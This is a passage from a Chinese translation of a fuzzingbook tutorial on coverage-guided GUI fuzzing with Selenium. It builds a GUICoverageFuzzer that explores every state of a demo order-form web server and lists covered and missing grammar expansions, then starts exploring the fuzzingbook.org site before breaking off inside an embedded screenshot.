+原来*我们已经有了这个。* 来自[一章的`GrammarCoverageFuzzer`关于基于覆盖的语法测试](GrammarCoverageFuzzer.html)致力于系统地*涵盖语法中的所有扩展选项*。 在有限状态模型中，这些扩展选择转换为状态之间的转换。 因此，将覆盖策略从`GrammarCoverageFuzzer`应用于我们的状态语法将自动覆盖一个过渡。
+
+我们如何将这些功能纳入`GUIFuzzer`？ 使用*多重继承*，我们可以创建一个`GUICoverageFuzzer`类，该类将`GUIFuzzer`中的`run()`方法与`GrammarCoverageFuzzer`中的覆盖范围选择结合在一起。
+
+```py
+from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import GrammarCoverageFuzzer
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import inheritance_conflicts
+
+```
+
+由于`__init__()`构造函数是在两个超类中定义的，因此我们需要定义自己的构造函数，该构造函数同时服务于这两个类：
+
+```py
+inheritance_conflicts(GUIFuzzer, GrammarCoverageFuzzer)
+
+```
+
+```py
+['__init__']
+
+```
+
+```py
+class GUICoverageFuzzer(GUIFuzzer, GrammarCoverageFuzzer):
+    def __init__(self, *args, **kwargs):
+        GUIFuzzer.__init__(self, *args, **kwargs)
+        self.reset_coverage()
+
+```
+
+使用`GUICoverageFuzzer`，我们可以设置方法`explore_all()`，该方法将继续运行模糊器，直到不再存在未探索的状态为止：
+
+```py
+class GUICoverageFuzzer(GUICoverageFuzzer):            
+    def explore_all(self, runner, max_actions=100):
+        actions = 0
+        while GUIGrammarMiner.UNEXPLORED_STATE in self.grammar and actions < max_actions:
+            actions += 1
+            if self.log_gui_exploration:
+                print("Run #" + repr(actions))
+            try:
+                self.run(runner)
+            except ElementClickInterceptedException:
+                pass
+            except ElementNotInteractableException:
+                pass
+            except NoSuchElementException:
+                pass
+
+```
+
+让我们使用它来全面探索我们的Web服务器：
+
+```py
+gui_driver.get(httpd_url)
+
+```
+
+```py
+gui_fuzzer = GUICoverageFuzzer(gui_driver)
+
+```
+
+```py
+gui_fuzzer.explore_all(gui_runner)
+
+```
+
+成功！ 我们涵盖了所有州：
+
+```py
+fsm_diagram(gui_fuzzer.grammar)
+
+```
+
+<svg height="352pt" viewBox="0.00 0.00 620.29 352.00" width="620pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 348)"><title>%3</title> <g class="node" id="node1"><title>start</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="325.559" y="-322.3"><start></text></g> <g class="node" id="node2"><title>state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="325.559" y="-249.3"><state></text></g> <g class="edge" id="edge1"><title>start->state</title></g> <g class="node" id="node3"><title>state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="200.559" y="-87.3"><state-1></text></g> <g class="edge" id="edge2"><title>state->state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="19.559" y="-168.3">click('terms and conditions')</text></g> <g class="node" id="node4"><title>state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="409.559" y="-87.3"><state-2></text></g> <g class="edge" id="edge3"><title>state->state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="326.559" y="-205.8">fill('zip', '<number>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="326.559" y="-190.8">fill('name', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="326.559" y="-175.8">fill('city', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="326.559" y="-160.8">check('terms', <boolean>)</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="326.559" y="-145.8">fill('email', '<email>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="326.559" y="-130.8">submit('submit')</text></g> <g class="node" id="node5"><title>end</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="409.559" y="-14.3"><end></text></g> <g class="edge" id="edge4"><title>state->end</title></g> <g class="edge" id="edge5"><title>state-1->state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="205.559" y="-168.3">click('order form')</text></g> <g class="edge" id="edge6"><title>state-1->end</title></g> <g class="edge" id="edge7"><title>state-2->state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="488.559" y="-168.3">click('order form')</text></g> <g class="edge" id="edge8"><title>state-2->end</title></g></g></svg>
+
+我们可以检索到目前为止涵盖的扩展，其中当然涵盖了所有州。
+
+```py
+gui_fuzzer.covered_expansions
+
+```
+
+```py
+{'<boolean> -> False',
+ '<boolean> -> True',
+ '<character> -> <digit>',
+ '<character> -> <letter>',
+ '<character> -> <special>',
+ '<digit> -> 0',
+ '<digit> -> 3',
+ '<digit> -> 4',
+ '<digit> -> 5',
+ '<digit> -> 6',
+ '<digit> -> 7',
+ '<digit> -> 8',
+ '<digit> -> 9',
+ '<digits> -> <digit>',
+ '<digits> -> <digits><digit>',
+ '<email> -> <letters>@<letters>',
+ '<end> -> ',
+ '<letter> -> A',
+ '<letter> -> C',
+ '<letter> -> E',
+ '<letter> -> I',
+ '<letter> -> J',
+ '<letter> -> N',
+ '<letter> -> O',
+ '<letter> -> P',
+ '<letter> -> Q',
+ '<letter> -> S',
+ '<letter> -> U',
+ '<letter> -> W',
+ '<letter> -> X',
+ '<letter> -> f',
+ '<letter> -> g',
+ '<letter> -> k',
+ '<letter> -> l',
+ '<letter> -> m',
+ '<letter> -> p',
+ '<letter> -> r',
+ '<letter> -> u',
+ '<letters> -> <letter>',
+ '<letters> -> <letters><letter>',
+ '<number> -> <digits>',
+ '<special> -> !',
+ '<start> -> <state>',
+ '<state-1> -> <end>',
+ '<state-1> -> <unexplored>',
+ "<state-1> -> click('order form')\n<state-3>",
+ "<state-1> -> click('order form')\n<state>",
+ '<state-2> -> <end>',
+ '<state-2> -> <unexplored>',
+ "<state-2> -> click('order form')\n<state-4>",
+ '<state-3> -> <unexplored>',
+ '<state-4> -> <unexplored>',
+ '<state> -> <end>',
+ "<state> -> click('terms and conditions')\n<state-1>",
+ "<state> -> fill('zip', '<number>')\nfill('name', '<text>')\nfill('city', '<text>')\ncheck('terms', <boolean>)\nfill('email', '<email>')\nsubmit('submit')\n<state-2>",
+ '<string> -> <character>',
+ '<string> -> <string><character>',
+ '<text> -> <string>',
+ '<unexplored> -> '}
+
+```
+
+不过，我们还没有看到所有扩展。 仍然需要使用一些数字和字母。
+
+```py
+gui_fuzzer.missing_expansion_coverage()
+
+```
+
+```py
+{'<digit> -> 1',
+ '<digit> -> 2',
+ '<letter> -> B',
+ '<letter> -> D',
+ '<letter> -> F',
+ '<letter> -> G',
+ '<letter> -> H',
+ '<letter> -> K',
+ '<letter> -> L',
+ '<letter> -> M',
+ '<letter> -> R',
+ '<letter> -> T',
+ '<letter> -> V',
+ '<letter> -> Y',
+ '<letter> -> Z',
+ '<letter> -> a',
+ '<letter> -> b',
+ '<letter> -> c',
+ '<letter> -> d',
+ '<letter> -> e',
+ '<letter> -> h',
+ '<letter> -> i',
+ '<letter> -> j',
+ '<letter> -> n',
+ '<letter> -> o',
+ '<letter> -> q',
+ '<letter> -> s',
+ '<letter> -> t',
+ '<letter> -> v',
+ '<letter> -> w',
+ '<letter> -> x',
+ '<letter> -> y',
+ '<letter> -> z',
+ '<special> ->  ',
+ '<special> -> .',
+ "<state-2> -> click('order form')\n<state>"}
+
+```
+
+一次又一次地运行模糊器将最终也覆盖这些扩展，从而导致订单中包含字母和数字。
+
+## 探索大型站点
+
+我们的GUI模糊测试器足够强大，即使在诸如 [fuzzingbook.org](https://www.fuzzingbook.org) 之类的非琐碎网站上也能处理勘探。 让我们演示一下：
+
+```py
+gui_driver.get("https://www.fuzzingbook.org/html/Fuzzer.html")
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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u8BERERERETkuZyRJ20FaqUgbQrQtsKzXHBW2qCmpia72CoGERERERERDW+DyZi2wrRckJbKyZIBWio8SwVnNRvS2Nioir3FICIiIiIiouHDGdlSKlBLBWm5EC2oDc9KwVm8wg0NDXZTWwwiIiIiIiIafgabM9UEaaUQLdgKz5ZnnS2Ds5AzSKIAACAASURBVJoNqa+vJyIiIiIiIhoSagK1XJC2PBttGaIFe8KzUnCWWvm6ujqbNBoNERERERERkSpKGVNNqJYK0mpCtFmAlrts2zI8y4VmtaG4traWiIiIiIiIaFDUhm25MG0rRFtezm0K0FJnn+0Jz5ah2bgxNTU1RERERERERENKKmCLg7S9IdqYmQXLs89qwrNUcJYKzNXV1SZVVVU2iT9LREREREREJGZPppQK1LaCtNoQLcidfZYKz3q9noiIiIiIiMinyIVoyQBt6+yz+MyzuzeKiIiIiIiIyNksz0TLnYWWDNBS4bm+vt7tG0VERERERETkbFKXc0udhTYFaKWzzwzQRERERERE5ItsBWhxiBbUnn2uq6tz+0YREREREREROZtxYDGls9CKAdo4OplGo3H7RhERERERERE5m0ajMRuZWzFAG09NG0cdszz7zABNREREREREvkj8eCtjFjZmY2NWNgVo8f3PUpdvG5/z7O6NIiIiIiIiInI243OipS7jFt8HLShdvm08+1xTU+P2jSIiIiIiIiJytpqaGquz0FKXcTNAExERERER0bA2qAAtdfk2AzQRERERERH5opqaGsnLuG0GaKkBxBigiYiIiIiIyJfZCtDG+6BNAdrWCNzGy7erq6vd